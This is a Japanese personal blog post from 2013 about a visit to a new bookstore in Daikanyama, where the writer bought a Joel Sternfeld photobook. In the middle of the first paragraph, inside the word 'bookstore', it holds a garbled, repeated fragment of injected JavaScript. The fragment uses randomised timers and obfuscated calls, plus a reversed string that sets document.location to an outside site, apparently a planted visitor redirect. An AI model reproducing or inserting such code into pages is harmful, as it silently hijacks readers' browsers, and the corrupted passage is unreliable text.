代官山にて
2013/12/09

店内はカメラNG のため外観だけ
ウワサの本屋
気になる本が近場の本屋に売っていなかったので、代官山にオープンしたウワサのbooksdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tore、渋谷に行くついでに覗いてみました。代官山駅から旧山手通りに出て、Hollywood Ranch Market やAprica の並びにありました。
ワンフロアでぽつーんとあるのかと思いきや3棟に分かれた大きなお店で、ジャンルやキーワードで括って大きさの異なるものや雑誌/書籍を混在させる最近よく見かけるスタイルの書店です。

インショップのStarbuck のオシャレ度ヤバいです(笑)
いやそれにしてもこのお洒落感。一時の勢いは無くなったとはいえさすが代官山旧山手通り。景観が損なわれるからと、自治会が通り数百メートルに渡って自販機を撤去させた経歴は伊達ではナイ。
奥にはシャレオツなカフェやベントレーのショウルームまでありました。平日にもかかわらずかなりの人出で(ここ目当てか分かりませんが、店の前に観光バス2台停まってました)、やればできるじゃないの代官山って感じでした。春にオープンするというNY のあの店もこのあたりなのかもですねえ。
お目当ての本もしっかり置いてありました。まぁまぁの価格なので、中身をチェックしてからどうしようかな~と店内をうろついていたところ、たまたま見かけたこちら。
リアルに感じられる過去のアメリカ
不勉強にてBruce Weber くらいしか知らないジャンルですが、1970年代のアメリカを写したJoel Sternfeld の写真集。退廃したどぎついヒッピー然とはしておらず、40年も前のフィルムなのにとても自然な色合い。車、ファッション、プロダクツも時代を感じさせます。
しかし色々な問題を抱えているのはその奥に感じるような、この前行ったアメリカはこの写真の延長にあるんだよなぁとすんなり納得できる内容。最初に買おうとしていた本の倍近いプライスにもかかわらず、あっさりこちらにシフトチェンジ。でもこれはいい買い物でした。
ウッドのカウンターや、至るところにセットされてある在庫検索用のiPad、スタッフも白シャツにブラックエプロンといったギャルソン風の出で立ちです。決して使いやすいレイアウトではありませんが、ゆっくり時間をかけて本を探すのもたまにはよさそうです。
BGM はいただけませんでしたが気づいたら1時間半も店内をうろついていました。ではそろそろと向かったレジで 「Tポイントカードお持ちですか?」 と聞かれてはっと思い出しました。そうか、ここはツタヤだったか(笑)。